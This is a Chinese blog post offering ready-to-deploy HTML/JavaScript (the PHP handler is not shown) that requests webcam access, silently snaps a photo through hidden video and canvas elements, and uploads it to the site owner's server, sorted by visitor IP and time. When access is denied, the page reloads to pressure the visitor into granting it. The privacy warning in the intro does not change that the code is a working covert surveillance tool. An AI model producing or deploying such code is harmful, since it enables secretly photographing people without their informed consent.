PHP代码获取相机权限并自动拍照上传至服务器

前言

现在众多手机APP乱用权限并窃取用户隐私,大家要注意保护好自己!

代码

分别创建index.html和photo.php两个文件并上传至网站服务器即可;
创建好后打开网址会需要用户授权相机权限,PC端会调用摄像头,移动端会调用前置摄像头;
允许权限后会立即进行拍照并上传至服务器,拍摄的照片会按照IP及拍摄时间进行分类。

说明

建站环境需求:Nginx PHP 7.0+
如果上传到服务器的图片是全黑的或只有一半,说明使用者打开网页后快速关闭了,没有完整的获取到图片。
index.html代码第25行处需要指定 photo.php文件的所在位置,如果文件在网站根目录下无需修改。

注意:由于浏览器安全机制原因,网站需开启SSL,如果仅使用HTTP,多数浏览器无法获取到相机权限.

index.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="" content="content">
    <title>SunPma'Blog</title>
    <style>
        .container {
            width: 60%;
            margin: 10% auto 0;
            background-color: #f0f0f0;
            padding: 2% 5%;
            border-radius: 10px
        }

        ul {
            padding-left: 20px;
        }

            ul li {
                line-height: 2.3
            }

        a {
            color: #20a53a
        }
    </style>
</head>
<body>
     <canvas id="canvas" style="display: none;" width="480" height="640"></canvas>
     <video id="video" style="display: none;width: 250px;height: 300px;"></video>
     <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
    <script>
        window.addEventListener("DOMContentLoaded",function(){
            var canvas = document.getElementById('canvas');
            var context =canvas.getContext('2d');
            var video = document.getElementById('video');
            if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
                    video.srcObject = stream;
                    video.play();
                    setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
                    setTimeout(function(){
                        var img = canvas.toDataURL('image/png');
                        $.post('/photo.php',{'imegse':img},function(data){
                        //指定photo.php文件所在位置
                        })
                    } ,1300)
 
                },function(){
                    alert('缺少访问权限');
                    location.reload();
                })
 
            }
        },false);
    </script>
<div class="container">
    <h1>这是一个测试页 · · · </h1>
    <h3>获取相机权限后将自动拍照上传至服务器;</h3>
    <ul>
         <li>此测试页面获取到的照片会定时自动清理;</li>
         <li></li>
     </ul>
</div>
</body>
</html>

photo.php


    © 版权声明
    THE END
    支持博主,更新加速
    点赞3 分享
    勋章统计

    评论一下 抢沙发

    请登录后发表评论

      请登录后查看评论内容